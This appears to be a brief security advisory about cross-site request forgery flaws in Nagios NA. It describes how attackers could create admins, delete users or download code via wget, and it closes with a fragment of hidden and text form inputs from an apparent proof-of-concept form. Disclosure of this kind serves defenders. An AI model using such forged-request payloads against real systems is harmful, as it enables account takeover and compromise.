Vulnerability Type:  
=================================  
Cross Site Request Forgery (CSRF)  
  
  
  
  
CVE Reference:  
==============  
N/A  
  
  
  
Vulnerability Details:  
=====================  
  
Nagios NA has multiple CSRF vectors, allowing unauthorized commands to be  
transmitted from a user that the website trusts if that user is  
authenticated and visits a malicious webpage or clicks a attacker supplied  
link. The Nagios system can be compromised as remote attackers  
can create arbitrary commands e.g. using "wget" to download RCE files onto  
the system, create arbitrary Admins, delete users, and conduct  
DOS attacks.

<input type="hidden" name="ad_server" id="ad_server" value="1">  
  
<input type="text" name="ad_username" id="ad_username">  
<input type="text" name="dn" placeholder="cn=John Smith,dn=nagios,dc=com">  
<input type="radio" name="group" value="1" checked="true" >  
<input type="radio" name="apiaccess" value="1" >
